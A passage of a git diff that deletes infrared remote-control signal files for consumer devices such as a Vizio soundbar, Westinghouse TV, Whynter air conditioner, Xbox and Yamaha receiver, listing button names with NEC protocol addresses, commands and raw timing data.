Ch_down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 01 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 09 00 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 45 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 46 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 48 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 47 00 00 00 -# -name: Home -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 2D 00 00 00 -# -name: Back -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4A 00 00 00 -# -name: Menu -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 4F 00 00 00 -# -name: Previous -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: Info -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: Enter -type: parsed -protocol: NEC -address: 04 00 00 00 -command: 44 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Vizio_Soundbar.ir b/assets/ir_optional_assets/optional-assets/Vizio_Soundbar.ir deleted file mode 100644 index 4f154c213..000000000 --- a/assets/ir_optional_assets/optional-assets/Vizio_Soundbar.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 40 00 00 00 -# -name: Input -type: parsed -protocol: NEC -address: 00 00 00 00 -command: C9 00 00 00 -# -name: Rewind -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8A 00 00 00 -# -name: Play_Pause -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8E 00 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 41 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 48 00 00 00 -# -name: Vol_dwn -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 45 00 00 00 -# -name: Fast_Forward -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 8B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Vornado.ir b/assets/ir_optional_assets/optional-assets/Vornado.ir deleted file mode 100644 index 70997b08d..000000000 --- a/assets/ir_optional_assets/optional-assets/Vornado.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1347 405 1322 422 410 1332 1300 448 1289 480 383 1303 445 1298 439 1331 417 1299 438 1332 416 1302 1320 6834 1292 456 1292 450 413 1304 1328 445 1292 452 411 1302 446 1297 440 1303 445 1298 439 1303 445 1301 1321 6806 1320 453 1295 422 441 1301 1321 454 1294 422 441 1301 436 1305 443 1300 448 1295 442 1301 447 1298 1324 6802 1324 451 1297 420 443 1299 1323 424 1324 419 444 1298 439 1304 444 1298 439 1304 444 1299 438 1306 1326 6815 1321 453 1295 421 442 1302 1320 426 1322 421 442 1301 436 1306 442 1301 447 1296 441 1301 447 1299 1323 6802 1324 424 1324 418 445 1300 1322 424 1324 419 444 1298 439 1304 444 1299 438 1304 444 1299 438 1306 1326 6809 1328 420 1317 424 439 1306 1326 419 1318 424 439 1304 444 1299 438 1305 443 1299 438 1305 443 1302 1320 -# -name: Speed -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1321 456 1292 453 410 1334 1319 428 1288 454 409 1332 416 1353 384 1359 389 1354 383 1335 1297 476 387 7681 1329 474 1263 452 411 1304 1328 447 1290 479 384 1303 444 1299 438 1304 444 1300 437 1307 1325 473 390 7680 1320 455 1292 450 413 1303 1329 445 1292 451 412 1301 447 1296 441 1302 446 1297 440 1305 1327 445 418 7679 1321 479 1269 448 415 1301 1321 454 1294 422 441 1299 438 1305 443 1300 448 1295 442 1303 1319 454 409 7703 1328 445 1292 451 412 1304 1328 446 1291 424 439 1303 445 1297 440 1303 445 1298 439 1306 1326 419 444 7680 1320 454 1294 449 414 1302 1320 455 1293 422 441 1301 447 1296 441 1301 447 1296 441 1304 1328 417 436 7688 1322 452 1296 420 443 1300 1322 426 1322 420 443 1299 438 1304 444 1299 438 1304 444 1302 1320 425 438 7686 1324 450 1298 418 445 1298 1324 424 1324 418 445 1297 440 1302 446 1297 440 1302 445 1300 1321 451 412 7684 1326 448 1300 417 436 1306 1326 422 1326 416 437 1306 442 1300 448 1295 442 1301 447 1298 1324 422 441 7682 1328 446 1291 426 437 1305 1327 420 1317 425 438 1304 444 1299 438 1304 444 1299 438 1307 1325 420 443 -# -name: Timer -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1296 454 1294 422 441 1304 1318 427 1321 422 441 1302 446 1297 440 1305 1317 426 437 1306 442 1301 436 7690 1321 424 1324 419 444 1301 1321 424 1324 420 443 1299 438 1304 444 1302 1320 423 440 1302 446 1297 440 7686 1325 420 1317 426 437 1308 1324 420 1317 426 437 1305 443 1300 437 1308 1324 419 444 1298 439 1304 444 7682 1318 427 1321 422 441 1304 1318 427 1321 423 471 1271 466 1277 471 1274 1317 427 467 1275 472 1270 467 7675 1325 420 1317 426 468 1277 1324 421 1316 427 436 1306 442 1301 467 1278 1323 420 443 1300 437 1305 474 7653 1316 429 1319 425 438 1306 1326 420 1317 425 438 1305 443 1300 437 1308 1324 419 444 1298 439 1304 443 7682 1318 427 1321 423 440 1305 1317 428 1320 423 471 1272 465 1277 439 1306 1316 427 467 1276 440 1302 446 7680 1320 426 1322 421 473 1272 1318 426 1322 422 472 1270 467 1276 472 1273 1317 426 468 1274 474 1269 468 7658 1321 424 1324 420 464 1281 1320 425 1354 389 464 1279 469 1274 474 1272 1318 424 470 1273 464 1279 468 7657 1322 423 1325 418 466 1280 1352 392 1345 400 463 1278 469 1273 464 1281 1351 394 469 1271 466 1277 470 7656 1323 422 1315 427 467 1278 1344 401 1347 399 464 1276 471 1272 465 1280 1321 422 472 1270 467 1276 472 7654 1325 421 1316 426 437 1308 1324 421 1316 427 436 1307 441 1302 445 1299 1323 421 442 1300 468 1274 474 diff --git a/assets/ir_optional_assets/optional-assets/Westinghouse.ir b/assets/ir_optional_assets/optional-assets/Westinghouse.ir deleted file mode 100644 index 6f254ef8a..000000000 --- a/assets/ir_optional_assets/optional-assets/Westinghouse.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 46 B9 00 00 -# -name: V_up -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0C F3 00 00 -# -name: V_dwn -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 19 E6 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 48 B7 00 00 -# -name: Dwn -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4D B2 00 00 -# -name: Rt -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 49 B6 00 00 -# -name: Lft -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4E B1 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4A B5 00 00 -# -name: Exit -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0D F2 00 00 -# -name: Mute -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4C B3 00 00 -# -name: Source -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 4B B4 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 45 BA 00 00 -# -name: Ch_up -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 0F F0 00 00 -# -name: Ch_dwn -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 5A A5 00 00 -# -name: Return -type: parsed -protocol: NECext -address: 02 7D 00 00 -command: 16 E9 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Whynter_AC.ir b/assets/ir_optional_assets/optional-assets/Whynter_AC.ir deleted file mode 100644 index 01c00ea61..000000000 --- a/assets/ir_optional_assets/optional-assets/Whynter_AC.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power_on -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 782 708 2923 2885 777 2176 748 2232 775 2152 782 736 752 2176 779 711 777 2179 776 2178 746 2181 774 744 754 737 771 720 778 713 775 716 782 737 751 740 779 712 828 717 833 657 779 713 775 2180 775 716 782 2173 772 720 778 2177 778 713 775 2180 775 716 772 2183 751 740 748 2180 775 715 835 -# -name: Power_off -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 781 710 2930 2876 775 716 781 735 752 2175 779 711 776 2177 746 745 773 2232 753 2173 749 768 750 2177 745 745 773 743 754 737 750 741 746 744 754 737 771 746 751 739 748 2178 776 742 755 2172 771 719 778 2227 747 744 754 2200 754 737 750 2203 751 741 746 2181 773 744 753 737 750 741 746 -# -name: Auto -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 752 739 2922 2911 729 2173 780 2173 749 2204 750 742 755 2172 782 736 751 2229 745 2208 756 2172 771 746 751 740 747 744 753 738 749 742 776 741 746 746 751 739 748 744 774 2179 754 738 749 2206 747 743 754 2225 780 738 749 2178 775 716 781 2173 749 742 776 2179 754 737 750 742 776 742 745 -# -name: AC -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 753 739 2922 2910 720 2182 824 2182 751 2176 778 739 748 2179 775 2179 754 2173 781 2173 749 742 776 741 746 745 753 738 749 742 776 715 772 745 752 739 748 795 754 737 750 2203 751 741 746 2182 772 745 752 2176 778 739 748 2180 774 744 753 2174 748 743 775 2179 754 2200 754 764 775 742 756 -# -name: Humidifier -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 774 717 2923 2883 778 2175 747 2206 748 2180 753 738 770 2183 750 742 745 2208 808 2171 751 766 752 739 748 2179 775 742 755 736 751 740 747 744 753 737 771 747 750 741 746 2180 774 744 753 2174 780 712 775 2179 806 738 749 2205 749 742 745 2209 755 736 751 2177 777 2177 745 2208 756 736 751 -# -name: Fan -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 779 712 2928 2877 773 2180 753 739 748 2205 748 743 754 2199 755 736 751 2176 777 2229 755 735 752 2202 751 740 747 744 753 738 770 722 775 742 755 736 751 740 747 744 774 2179 754 738 770 2184 749 743 754 2199 754 737 802 2178 775 743 754 2173 749 742 776 742 755 736 751 740 747 745 752 -# -name: Fan_speed -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 755 710 2951 2859 781 2175 779 713 785 2172 771 721 776 2179 754 738 770 2159 784 2172 782 709 778 2231 754 738 780 712 775 717 780 711 776 743 755 738 780 711 776 716 781 2176 778 714 783 2174 780 712 775 2182 751 741 777 2179 754 790 801 2128 784 708 779 740 757 735 752 740 778 714 836 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 775 718 2933 2878 773 2183 750 2179 775 2207 778 742 756 2172 782 2175 779 2150 783 737 750 743 775 743 755 764 723 743 755 738 749 743 776 744 754 739 748 744 754 739 779 2229 756 736 751 2178 776 744 754 2176 778 716 782 2174 780 740 747 2182 751 742 776 2179 754 2176 778 742 756 2174 780 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 746 745 2927 2882 748 2180 774 2207 778 2202 752 740 747 2181 752 2229 725 2203 751 2204 729 736 772 747 751 741 746 745 753 739 748 743 776 742 756 736 751 740 747 745 805 2202 752 740 747 2181 773 746 752 2176 778 715 772 2182 772 720 777 2177 746 746 772 2182 751 2178 776 742 756 736 803 diff --git a/assets/ir_optional_assets/optional-assets/Xbox.ir b/assets/ir_optional_assets/optional-assets/Xbox.ir deleted file mode 100644 index 948d0410c..000000000 --- a/assets/ir_optional_assets/optional-assets/Xbox.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Xbox_power -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 2F D0 00 00 -# -name: Xbox_up -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 1E E1 00 00 -# -name: Xbox_down -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 1F E0 00 00 -# -name: Xbox_left -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 20 DF 00 00 -# -name: Xbox_right -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 21 DE 00 00 -# -name: Xbox_select -type: parsed -protocol: NECext -address: 80 D8 00 00 -command: 22 DD 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Yamaha_rx.ir b/assets/ir_optional_assets/optional-assets/Yamaha_rx.ir deleted file mode 100644 index 1fb761636..000000000 --- a/assets/ir_optional_assets/optional-assets/Yamaha_rx.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Yamaha_power -type: parsed -protocol: NEC -address: 7E 00 00 00 -command: 2A 00 00 00 -# -name: Hdmi_1 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 47 38 00 00 -# -name: Hdmi_2 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 4A 35 00 00 -# -name: Hdmi_3 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 4D 32 00 00 -# -name: Hdmi_4 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 50 2F 00 00 -# -name: Hdmi_5 -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 70 0F 00 00 -# -name: Up -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 9D 00 00 00 -# -name: Left -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 9F 00 00 00 -# -name: Enter -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: DE 00 00 00 -# -name: Right -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 9E 00 00 00 -# -name: Down -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 9C 00 00 00 -# -name: On_screen -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 84 00 00 00 -# -name: Return -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: AA 00 00 00 -# -name: Option -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: 6B 14 00 00 -# -name: Vol_up -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: Vol_down -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: Mute -type: parsed -protocol: NEC -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: Pop_upmenu -type: parsed -protocol: NECext -address: 7A 85 00 00 -command: A4 DB 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 7F 01 00 00 -command: 60 9F 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Zenith_AC.ir b/assets/ir_optional_assets/optional-assets/Zenith_AC.ir deleted file mode 100644 index 3961eecab..000000000 --- a/assets/ir_optional_assets/optional-assets/Zenith_AC.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 81 7E 00 00 -# -name: Temp_down -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 8A 75 00 00 -# -name: Temp_up -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 85 7A 00 00 -# -name: Fan_speed -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 99 66 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9F 60 00 00 -# -name: Mode -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 9B 64 00 00 -# -name: Energy_saver -type: parsed -protocol: NECext -address: 81 66 00 00 -command: 82 7D 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir deleted file mode 100644 index 2bde169e7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/2wire/Unknown_2wire/32,159.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 00 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 01 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 02 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 03 00 00 00 -# -name: X_KEY_ORANGE -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 04 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 05 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 06 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 07 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 09 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 0A 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 0C 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 0F 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 10 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 11 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 12 00 00 00 -# -name: X_KEY_PURPLE -type: parsed -protocol: NECext -address: 20 9F 00 00 -command: 13 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir deleted file mode 100644 index b6b559ac4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Projector/134,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 00 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 05 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 05 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 08 00 00 00 -# -name: FOCUS_+ -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 15 00 00 00 -# -name: FOCUS_- -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 16 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 17 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 21 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 2A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 30 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 31 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 32 00 00 00 -# -name: MAGNIFY -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 3F 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 56 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir deleted file mode 100644 index b6b559ac4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/3M/Video Projector/134,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 00 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 05 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 05 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 08 00 00 00 -# -name: FOCUS_+ -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 15 00 00 00 -# -name: FOCUS_- -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 16 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 17 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 21 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 2A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 30 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 31 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 32 00 00 00 -# -name: MAGNIFY -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 3F 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 56 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 86 00 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir deleted file mode 100644 index 0c9b38061..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABIT/DVD_WINDVD/1,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: Screen -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: ChapMenu -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: Bright+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: Bright- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: RetourArr -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: AvanceRap -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: Chap- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: Chap+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir deleted file mode 100644 index d1dd2a546..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ABS/SAT_8776/8,0.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 16 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 18 00 00 00 -# -name: X_KEY_MUSIC -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1D 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1E 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 1F 00 00 00 diff --git 